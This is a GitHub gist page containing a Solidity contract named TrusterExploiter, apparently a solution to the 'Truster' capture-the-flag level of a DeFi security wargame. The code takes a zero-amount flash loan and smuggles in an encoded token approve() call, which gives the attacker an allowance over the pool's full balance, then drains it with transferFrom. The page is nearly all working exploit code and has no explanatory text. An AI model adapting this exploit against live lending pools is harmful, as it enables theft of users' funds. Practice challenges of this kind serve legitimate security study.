Created
January 22, 2023 17:40
-
-
Save az0mb13/9e0a6149b7c76b73bc3e9b3e935117c5 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
contract TrusterExploiter { | |
TrusterLenderPool public immutable pool; | |
IERC20 public immutable token; | |
constructor(address _pool, address _token) { | |
pool = TrusterLenderPool(_pool); | |
token = IERC20(_token); | |
} | |
function attack() external { | |
uint256 poolBalance = token.balanceOf(address(pool)); | |
pool.flashLoan( | |
0, | |
msg.sender, | |
address(token), | |
abi.encodeWithSignature( | |
"approve(address,uint256)", | |
address(this), | |
poolBalance | |
) | |
); | |
token.transferFrom(address(pool), msg.sender, poolBalance); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment